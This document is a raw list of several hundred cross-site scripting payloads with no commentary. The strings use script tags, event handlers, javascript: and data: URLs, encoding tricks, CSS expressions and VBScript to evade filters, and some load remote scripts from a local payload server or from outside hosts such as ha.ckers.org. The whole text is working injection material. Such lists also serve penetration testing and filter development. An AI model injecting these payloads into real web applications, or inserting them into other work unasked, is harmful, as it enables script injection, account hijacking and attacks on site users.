'"--></style></script><script>alert("X")</script>
'"--></style></script><script>prompt(1)</script>
'"</Script><Html Onmouseover=(alert)(1) //
'">*/--></title></style></textarea></script%0A><img src=x onerror=confirm(1)>
'"><img src=x onerror=prompt(0);"onfocus=prompt(3); "
'">><marquee><h1>1</h1></marquee>
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext\></|\><plaintext/onmouseover=prompt(1)
'%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Exss(0x000045)%3C/script%3E
'%26%26'javascript:alert%25281%2529//
'%2Balert(0x000123)%2B'
''">
'';!--"<X>=&{()}
'';!--"<CrossSiteScripting>=&{()}
'';!--"<X>=&{()}
'';!--"<XSS>=&{()}<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
'';!--"<XSS>=&{()}<XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
'';!--<XSS>=&{()}"count(/child::node())
'';}}</script><script>alert(1)</script>
'() {'document.createElement('img').src='javascript:while(1){}'
')alert(1);
'+alert(0x000123)+'
'+alert(1)&&null=='
'+confirm(9)&&null=='
',__defineSetter__('x',alert),x=1,'
'-/"/-confirm(1)//'
'-alllllert(1)//
'-prompt(1)'
'//</script><svg "%0Aonload=alert(1)// />
'//</script><svg%20"%0aonload=alert(1)%20//>
'/onmouseover='alert(1);'/a=
';!--"<XSS><script>alert(1);</script>
';//</script><svg ";%0Aonload=alert(1)// />#
';alert(/XSS/);'
';alert(0x000123)'
';alert(123);t='
';alert(16);t='
';alert(String.fromCharCode(75,67,70))//';alert(String.fromCharCode(75,67,70))//";
';alert(String.fromCharCode(75,67,70))//\';alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//\";alert(String.fromCharCode(75,67,70))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>
';alert(String.fromCharCode(75,67,70))//\';alert(String.fromCharCode(75,67,70))//";alert(String.fromCharCode(75,67,70))//\";alert(String.fromCharCode(75,67,70))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>=&{}
';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))//\";alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(67, 114, 111, 115, 115, 83, 105, 116, 101, 83, 99, 114, 105, 112, 116, 105, 110, 103))</SCRIPT>
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//></SCRIPT>!--<SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//";
';confirm(String.fromCharCode(88,83,83))//';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//--</SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>
';confirm(String.fromCharCode(88,83,83))//\';confirm(String.fromCharCode(88,83,83))//";confirm(String.fromCharCode(88,83,83))//\";confirm(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>confirm(String.fromCharCode(88,83,83))</SCRIPT>=&{}
';location='javascript://'%2Blocation.hash;'
'<'s'v'g' o'n'l'o'a'd'='a'l'e'r't'('7')' '>'
'</style></script><script>alert(0x000123)</script>
'>< %3C < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < < \x3c \x3C \u003c \u003C
'><!-- --!><script>alert(X)</script>-->
'><!-- `<img/src=xx:xx onerror=alert(1)//--!>
'><!--<img src="--><img src=x onerror=alert(1)//">
'><!--[if gte IE 4]><SCRIPT>alert(1);</SCRIPT>
'><!--[if<img src=x onerror=alert(2)//]> -->
'><!--[if]><script>alert(1)</script -->
'><!--[if]><script>alert(1)</script -->
'><!DOCTYPE x[<!ENTITY x SYSTEM "http://127.0.0.1:3555/xss_serve_payloads/X.html">]><y>&x;</y>
'><!ENTITY x "<html:img src='x' xmlns:html='http://www.w3.org/1999/xhtml' onerror='alert(1)'/>">
'><![CDATA[<!--]]<script>alert(1);//--></script>
'><![CDATA[<script>alert(X)</script>]]]]><![CDATA[>
'><!a foo=x=`y><img alt="`><img src=x:x onerror=alert(2)//">
'><"script">"alert(0)"</"script">
'><%0ascript>alert(1);</script>
'><%0bscript>alert(1);</script>
'><%div%20style=xss:expression(prompt(1))>
'><// style=x:expression\28write(1)\29>
'></SCRIPT>>><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>
'></SCRIPT>>><SCRIPT>prompt(1)</SCRIPT>
'></SCRIPT>><SCRIPT>alert(String.fromCharCode(75,67,70))
'></SCRIPT>><SCRIPT>prompt(1)</SCRIPT>
'></SCRIPT>”><SCRIPT>alert(String.fromCharCode(75,67,70))
'></SCRIPT>”><SCRIPT>prompt(1)</SCRIPT>
'></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(75,67,70))</SCRIPT>
'></SCRIPT>”>”><SCRIPT>prompt(1)</SCRIPT>
'></TITLE><SCRIPT>alert(1);</SCRIPT>
'></a onmousemove="alert(1)">
'></a onmousemove=alert(1)>
'></plaintext\></|\><plaintext/onmouseover=prompt(1)><script>prompt(1)</script>
'></script "/*'/*><img/src=x */; onerror=alert(1) //
'></script "/*'/*><svg */; onload=alert(1) //>
'></script "//'//><svg%0Aonload=alert(1)//>
'></script>"//'//<svg%0Aonload=alert(1) //>
'></script>"//'//<svg%0Aonload=alert(1)//>
'></script>'//<svg "%0Aonload=alert(1) //>
'></script>'//<svg "%0Aonload=alert(1)// />
'></script><img '//"%0Aonerror=alert(1)// src=1>
'></script><img '//"%0Aonerror=alert(1)// src>
'></script><img src '//"%0Aonerror=alert(1)//
'></script><script >alert(1)</script>
'></script><script>/*"/*'/**/;alert(1)//</script>#
'></script><script>/*var a="/*""'/**/;alert(1);//</script>
'></script><script>alert(String.fromCharCode(75,67,70))</script>
'></script><script>alert(X
'></script><script>prompt(1)</script>
'></script><svg onload='-/"/-[alert(1)]//'/>
'></script><svg onload='-/"/-alert(1)//'>
'></select><script>alert(XSS)</script>
'><<SCRIPT>alert(1);/
'><<SCRIPT>alert(1);//<</SCRIPT>
'><<scr\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/X.js></script
'><<scr\0ipt/src=http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp></script
'><<script>alert(1);</script>
'><? echo('<SCR)';echo('IPT>alert(1)</SCRIPT>'); ?>
'><?a foo=x=`y><img alt="`><img src=x:x onerror=alert(3)//">
'><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="X<SCRIPT DEFER>alert("X")</SCRIPT>"></BODY></HTML>
'><?xml version="1.0"?> x><payload><![CDATA[<img src=x onerror=alert(1)>]]]]><![CDATA[></payload></x>
'><?xml-stylesheet href="javascript:alert(1)"?><root/>
'><?xml-stylesheet type="text/css" href="data:,*%7bx:expression(write(2));%7d"?>
'><?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/>
'><?xml-stylesheet type="text/xsl" href="#" ?> <stylesheet xmlns="http://www.w3.org/TR/WD-xsl"> <template match="/"> <eval>new ActiveXObject('htmlfile').parentWindow.alert(1)</eval> <if expr="new ActiveXObject('htmlfile').parentWindow.alert(2)"></if> </template> </stylesheet>
'><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
'><A CLASS=X></A>
'><A HREF="//127.0.0.1:3555/xss_serve_payloads/X.html">X</A>
'><A HREF="//google">X</A>
'><A HREF="h tt p://6	6.000146.0x7.147/">X</A>
'><A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">X</A>
'><A HREF="http://1113982867/">X</A>
'><A HREF="http://127.0.0.1:3555/xss_serve_payloads/X.html./">X</A>
'><A HREF="http://127.0.0.1:3555/xss_serve_payloads/X.html@google">X</A
'><A HREF="http://google:127.0.0.1:3555/xss_serve_payloads/X.html">X</A>
'><A HREF="javascript:document.location='http://127.0.0.1:3555/xss_serve_payloads/X.html'">X</A>
'><BASE HREF="javascript:alert(1);//">
'><BGSOUND SRC="javascript:alert(1);">
'><BODY BACKGROUND="javascript:alert(1)">
'><BODY ONLOAD=alert(1)>
'><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("X")>
'><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(1)>
'><BR SIZE="&{alert(1)}">
'><DIV STYLE="background-image: url(javascript:alert(1))">
'><DIV STYLE="background-image: url(javascript:alert(1))">
'><DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
'><DIV STYLE="width: expression(alert(1));">
'><DIV STYLE="width:\0065\0078\0070\0072\0065\0073\0073\0069\006F\006E\0028\0070\0072\006F\006D\0070\0074\0028\0031\0029\0029">
'><EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
'><EMBED SRC="http://127.0.0.1:3555/xss_serve_payloads/flash.swf"></EMBED>
'><FRAMESET><FRAME RC=""+"javascript:alert('X');"></FRAMESET>
'><FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
'><HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(1);+ADw-/SCRIPT+AD4-
'><IFRAME SRC="javascript:alert(1);"></IFRAME>
'><IMG """><SCRIPT>alert(1)</SCRIPT>">
'><IMG DYNSRC="javascript:alert(1)">
'><IMG LOWSRC="javascript:alert(1)">
'><IMG ONERROR=VBS:EXECSCRIPT LCASE(ALERT(1)) SRC=A>
'><IMG ONERROR=VBS:MSGBOX 1 SRC=A>
'><IMG ONERROR=”VBS:EXECSCRIPT LCASE(‘ALERT(1)’)” SRC=A>
'><IMG ONERROR=”VBS:MSGBOX 1” SRC=A>
'><IMG SRC=" javascript:alert(1);">
'><IMG SRC="  javascript:alert(1);">
'><IMG SRC="jav ascript:alert('X');">
'><IMG SRC="jav ascript:alert(1);">
'><IMG SRC="jav	ascript:alert(1);">
'><IMG SRC="jav
ascript:alert('X');">
'><IMG SRC="jav
ascript:alert(1);">
'><IMG SRC="jav
ascript:alert(1);">
'><IMG SRC="javascript:alert(1)"
'><IMG SRC="javascript:alert(1);"
'><IMG SRC="javascript:alert(1);">
'><IMG SRC=# onmouseover="alert('X')">
'><IMG SRC=javascript:alert('XSS')>
'><IMG SRC=javascript:alert('KCF');>
'><IMG SRC=javascript:alert('XSS')>
'><IMG SRC=javascri pt:alert(' XSS')>
'><IMG SRC=javascript:alert('XSS')>
'><IMG SRC='vbscript:msgbox(1)'>
'><IMG SRC=JaVaScRiPt:alert(1)>
'><IMG SRC=`javascript:alert(X says, X)`>
'><IMG SRC=`javascript:alert("Kerala Cyber Force, 'X'")`>
'><IMG SRC=`javascript:alert(1)`>
'><IMG SRC=`javascript:alert(“X says, ‘X’”)`>
'><IMG SRC=javascript:alert("X")>
'><IMG SRC=javascript:alert(1)>
'><IMG SRC=javascript:alert(String.fromCharCode(75,67,70))>
'><IMG STYLE="X:expr/*X*/ession(alert(1))">
'><INPUT TYPE="IMAGE" SRC="javascript:alert(1);">
'><LAYER SRC="javascript:alert(1);"></LAYER>
'><LINK REL="stylesheet" HREF="javascript:alert(1);">
'><META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(1)</SCRIPT>">
'><META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(1);">
'><META HTTP-EQUIV="refresh" CONTENT="0;url=data:image/svg+xml; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
'><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
'><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
'><META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(1);">
'><OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
'><SCRIPT "a='>'" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
'><SCRIPT "a='>'" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
'><SCRIPT <B>alert(1);</SCRIPT>
'><SCRIPT =">" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
'><SCRIPT =">" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
'><SCRIPT FOR=document EVENT=onreadystatechange>alert(1)</SCRIPT>
'><SCRIPT FOR=document EVENT=onreadystatechange>prompt(1)</SCRIPT>
'><SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(ALERT(1))) </SCRIPT>
'><SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE(“ALERT(1)”)) </SCRIPT>
'><SCRIPT LANGUAGE=VBS>MSGBOX 1</SCRIPT>
'><SCRIPT a=">" '' SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
'><SCRIPT a=">" '' SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
'><SCRIPT a=">" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
'><SCRIPT a=">" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
'><SCRIPT a=">'>" SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
'><SCRIPT a=">'>" SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
'><SCRIPT a=`>` SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
'><SCRIPT a=`>` SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
'><SCRIPT> alert(\"1\");</SCRIPT>
'><SCRIPT> alert(\"1\")</SCRIPT>
'><SCRIPT>+alert("X");</SCRIPT>
'><SCRIPT>+alert("X")</SCRIPT>
'><SCRIPT>a=/X/
'><SCRIPT>a=/X/\nalert(1);</SCRIPT>
'><SCRIPT>a=/X/alert(a.source)</SCRIPT>
'><SCRIPT>alert(1);</SCRIPT>
'><SCRIPT>alert(1);</SCRIPT><![endif]-->
'><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:3555/xss_serve_payloads/X.js"></SCRIPT>
'><SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://127.0.0.1:3555/xss_serve_payloads/bmpz.bmp"></SCRIPT>
'><SCRIPT>x=/X/ alert(x.source)</SCRIPT>
'><SCRIPTLET> <IMPLEMENTS Type="Behavior"></IMPLEMENTS><SCRIPT Language="javascript">alert(1)</SCRIPT></SCRIPTLET>
'><SPAN DATASRC="#X" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
'><STYLE TYPE="text/javascript">alert(1);</STYLE>
'><STYLE type="text/css">BODY{background:url("javascript:alert(1)")}</STYLE>
'><STYLE>.X{background-image:url("javascript:alert(1)");}</STYLE>
'><STYLE>@im\port'\ja\vasc\ript:alert(1)';</STYLE>
'><STYLE>li {list-style-image: url("javascript:alert(1)");}</STYLE><UL><LI>X
'><ScR<ScRiPt>IpT>prompt(1)<%2FsCr<ScRiPt>IpT>
'><ScRIPt<aLeRT(String.fromCharCode(75,67,70))</ScRIPt>
'><ScRIPt>prompt(1)</ScRIPt>
'><ScRiPt+>prompt(1)</ScRiPt>
'><ScriPt>ALeRt( X )</scriPt>
'><ScriPt>ALeRt(“ X ”)</scriPt>
'><TABLE BACKGROUND="javascript:alert(1)">
'><TABLE><TD BACKGROUND="javascript:alert(1)">
'><X STYLE="X:expression(alert(1))">
'><XML ID=0><I><B><IMG SRC="javas<!-- -->cript:alert(1)"></B></I></XML>
'><XML ID=I><X><C><![CDATA[<IMG SRC="javas]]]]><![CDATA[><![CDATA[cript:alert(1);">]]]]><![CDATA[></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
'><[%00]img onerror=alert(1) src=a>
'><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
'><a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
'><a href="123" id=x>test</a><script>x='javascript:alert(1)';</script>
'><a href="[a]java[b]script[c]:alert(1)">XXX</a>
'><a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>​">Click Me</a>
'><a href="invalid:1" id=x name=y>test</a><a href="invalid:2" id=x name=y>test</a><script>alert(x.y[0])</script>
'><a href="j&#x26#x41;vascript:alert%252831337%2529">X</a>
'><a href="javascript#alert(1);">
'><a href="javascript:x:alert(1)">x</a>
'><a href=1 name=x>test</a><a href=1 name=x>test</a><script>alert(x.removeChild)alert(x.parentNode)</script>
'><a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=alert(1)></a>">
'><a href=jAvascript:alert(1)>X</a>
'><a onmouseover="javascript:window.onerror=alert;throw 1>
'><a onmouseover=(alert(1))>X</a>
'><a onmouseover=location=javascript:alert(1)>click
'><a onmouseover=location=’javascript:alert(1)>click
'><a style="-o-link:'javascript:alert(1)';-o-link-source:current">X</a>
'><a style="behavior:url(#default#AnchorClick);" folder="javascript:alert(1)">XXX</a>
'><a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a>
'><a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x31\x29\x3B'>X
'><applet code="javascript:confirm(1);">
'><article xmlns="><img src=x onerror=alert(1)"></article>
'><article xmlns="x:img src=x onerror=alert(1) ">
'><audio src=1 href=1 onerror="javascript:alert(1)"></audio>
'><audio src=1 onerror=alert(1)>
'><b <script>alert(1)//</script>0</script></b>
'><b/alt="1"onmouseover=InputBox+1language=vbs>X</b>
'><b><script<b></b><alert(1)</script </b></b>
'><bgsound onPropertyChange bgsound onPropertyChange="javascript:javascript:alert(1)"></bgsound onPropertyChange>
'><bgsound onpropertychange=alert(1)>
'><body language=vbs onload=window.location='data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=='>
'><body language=vbsonload=alert-1
'><body onFocus body onFocus="javascript:javascript:alert(1)"></body onFocus>
'><body onLoad body onLoad="javascript:javascript:alert(1)"></body onLoad>
'><body onMouseEnter body onMouseEnter="javascript:javascript:alert(1)"></body onMouseEnter>
'><body onMouseOver body onMouseOver="javascript:javascript:alert(1)"></body onMouseOver>
'><body onPageHide body onPageHide="javascript:javascript:alert(1)"></body onPageHide>
'><body onPageShow body onPageShow="javascript:javascript:alert(1)"></body onPageShow>
'><body onPropertyChange body onPropertyChange="javascript:javascript:alert(1)"></body onPropertyChange>
'><body onUnload body onUnload="javascript:javascript:alert(1)"></body onUnload>
'><body onactivate=alert(1)>
'><body onbeforeactivate=alert(1)>
'><body onfocus="location='javascrpt:alert(1) >123
'><body onfocusin=alert(1)>
'><body oninput=alert(1)><input autofocus>
'><body oninput=prompt(1)><input autofocus>
'><body onload="X">
'><body onload="alert(1)">
'><body onload="alert(1);">
'><body onload=prompt(1);>
'><body onpageshow=alert(1);>
'><body onpageshow=alert(1)>
'><body onscroll=alert(1)><br><br>...<br><input autofocus>
'><body onscroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
'><body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
'><body onscroll=prompt(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
'><body scroll=alert(1)><br><br><br><br><br><br>...<br><br><br><br><input autofocus>
'><body src=1 href=1 onerror="javascript:alert(1)"></body>
'><body/onload=javascript:window.onerror=eval;throw'=alert\x281\x29';
'><body/onpageshow=alert(1);>
'><body/onpageshow=alert(1)>
'><br><br><b><u>X</u></b>
'><button/onclick=alert(1) >X</button>
'><command onmouseover="\x6A\x61\x76\x61\x53\x43\x52\x49\x50\x54\x26\x63\x6F\x6C\x6F\x6E\x3B\x63\x6F\x6E\x66\x69\x72\x6D\x26\x6C\x70\x61\x72\x3B\x31\x26\x72\x70\x61\x72\x3B">Save</command>
'><comment><img src="</comment><img src=x onerror=alert(1))//">
'><comment><img src="</comment><img src=x onerror=alert(1)//">
'><comment><img src="</comment><img src=x onerror=prompt(1)//">
'><div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>?
'><div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
'><div contextmenu=x>right-click<menu id=x onshow=alert(1)>
'><div datafld="b" dataformatas="html" datasrc="#X"></div>
'><div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
'><div id=d><div style="font-family:'sans\27\2F\2A\22\2A\2F\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
'><div id=d><x xmlns="><iframe onload=alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
'><div onmouseover="alert(1);">
'><div style="[a]color[b]:[c]red">XXX</div>
'><div style="\63	\06f
\0006c\00006F
\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div>
'><div style="background-image: url(javascript:alert(1););">
'><div style="background:url(/f#[a]oo/;color:red/*/foo.jpg);">X</div>
'><div style="background:url(http://foo.f/f oo/;color:red/*/foo.jpg);">X</div>
'><div style="behaviour: url('http://127.0.0.1:3555/xss_serve_payloads/X.html');">
'><div style="behaviour: url(http://127.0.0.1:3555/xss_serve_payloads/X.html);">
'><div style="binding: url("http://127.0.0.1:3555/xss_serve_payloads/X.html"));">
'><div style="binding: url(http://127.0.0.1:3555/xss_serve_payloads/X.html));">
'><div style="color:rgb(''�x:expression(alert(1))"></div>
'><div style="font-family:'foo[a];color:red;';">XXX</div>
'><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
'><div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X</div>
'><div style="font-family:foo}color=red;">X
'><div style="font-family:foo}color=red;">XXX</div>
'><div style="list-style:url(http://foo.f)\20url(javascript:alert(1));">X</div>
'><div style="width: expression(alert(1););">
'><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)>
'><div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div>
'><div style=width:1px;filter:glow onfilterchange=alert(1)>x
'><div style=width:1px;filter:glow onfilterchange=alert(1)>x</div>
'><div style=width:1px;filter:glow onfilterchange=prompt(1)>x</div>
'><embed code="http://127.0.0.1:3555/xss_serve_payloads/flash.swf" allowscriptaccess=always>
'><embed code="http://127.0.0.1:3555/xss_serve_payloads/flash.swf" allowscriptaccess=always>?
'><embed code="http://127.0.0.1:3555/xss_serve_payloads/flash.swf" allowscriptaccess=always>
'><embed src="data:text/html;base64,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg=="></embed>
'><embed src=javascript:alert(1)>
'><embed/src=//goo.gl/nlX0P>
'><event-source src=javascript:alert(1)>
'><form action="	javas	cript	:alert('X :)')" autocomplete="on"> First name:<input type="text" name="fname"><br><input type="submit"></form>
'><form action="Javascript:alert(1)"><input type=submit>
'><form action="javas	cript:alert(1)" method="get"><input type="submit" value="Submit"></form>
'><form action='data:text/html,<script>alert(1)</script>'><button>CLICK
'><form action='java	scri	pt:alert(1)'><button>CLICK
'><form action=javascript
:alert(1)><input type=submit>
'><form id="myform" value="" action=javascript	:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="Absenden"></form>
'><form id="myform" value=""+{valueOf:location,length:1,__proto__:[],0:"javascript :alert (1)"}"action=javascript	:eval(document.getElementById('myform').elements[0].value)><textarea>alert(1)</textarea><input type="submit" value="Absenden"></form>
'><form id="test" /><button form="test" formaction="javascript:alert(1)">X
'><form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>
'><form id=test /><button form=test formaction=javascript:alert(1)>
'><form id=test onforminput=prompt(1)><input></form><button form=test onformchange=prompt(2)>X</button>
'><form name=self location="javascript&#58;alert(1)"></form><script>if(top!=self){top.location=self.location}</script>
'><form name=self location="javascript:alert(1)"
'><form name=self location="javascript:alert(1)">
'><form name=self location="javascript:alert(1)"></form><script>if(top!=self){top.location=self.location}</script>
'><form><button formaction="javascript:alert(1)">X</button>
'><form><button formaction=javascript:alert(1)>CLICKME
'><frameset onScroll frameset onScroll="javascript:javascript:alert(1)"></frameset onScroll>
'><frameset onload=alert(1)>
'><frameset onload=prompt(1)>
'><h1>X</h1>
'><head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body>
'><html onMouseLeave html onMouseLeave="javascript:javascript:alert(1)"></html onMouseLeave>
'><html onMouseUp html onMouseUp="javascript:javascript:alert(1)"></html onMouseUp>
'><html onMouseWheel html onMouseWheel="javascript:javascript:alert(1)"></html onMouseWheel>
'><html> <script> var a="</script><script>alert(1)//";</script> </html>
'><iMg onerror=alert(1) src=a>
'><i[%00]m[%00]g o[%00]ner[%00]r[%00]or[%00]=a[%00]ler[%00]t(1) sr[%00]c=[%00]a>
'><i[%00]mg onerror=alert(1) src=a>
'><iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe> ?
'><iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe>
'><iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
'><iframe "onload=alert(1)></iframe>
'><iframe onLoad iframe onLoad="javascript:javascript:alert(1)"></iframe onLoad>
'><iframe onReadyStateChange iframe onReadyStateChange="javascript:javascript:alert(1)"></iframe onReadyStateChange>
'><iframe onreadystatechange=alert(1)>
'><iframe src="data:data:javascript:,% 3 c script % 3 e confirm(1) % 3 c/script %3 e">
'><iframe src="data:image/svg-xml,%1F%8B%08%00%00%00%00%00%02%03%B3)N.%CA%2C(Q%A8%C8%CD%C9%2B%B6U%CA())%B0%D2%D7%2F%2F%2F%D7%2B7%D6%CB%2FJ%D77%B4%B4%B4%D4%AF%C8(%C9%CDQ%B2K%CCI-*%D10%D4%B4%D1%87%E8%B2%03"></iframe>
'><iframe src="http://127.0.0.1:3555/xss_serve_payloads/X.html" width="800" height="800">iframe</iframe>
'><iframe src="javascript:alert(1); <
'><iframe src="javascript:x:alert(1)">
'><iframe src=http://127.0.0.1:3555/xss_serve_payloads/X.html <
'><iframe src=javascript:alert(1) >
'><iframe src=javascript:alert(1)>
'><iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.gif!X.html></iframe>
'><iframe src=mhtml:http://127.0.0.1:3555/xss_serve_payloads/X.html!X.html></iframe>
'><iframe/ "onload=alert(1)></iframe>
'><iframe/ /onload=alert(1)></iframe>
'><iframe///////onload=alert(1)></iframe>
'><iframe/src="data:text/html;	base64
,PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==">
'><iframe/src="data:text/html,<svg%09%0A%0B%0C%0D%A0%00%20onload=confirm(1);>">
'><iframe<?php echo chr(11)?> onload=alert(1)></iframe>
'><iframe<?php echo chr(12)?> onload=alert(1)></iframe>
'><iframesrc="javascript:alert(2)">
'><image src="javascript:alert(1)">
'><image src=1 href=1 onerror="javascript:alert(1)"></image>
'><img dynsrc="javascript:alert(1);">
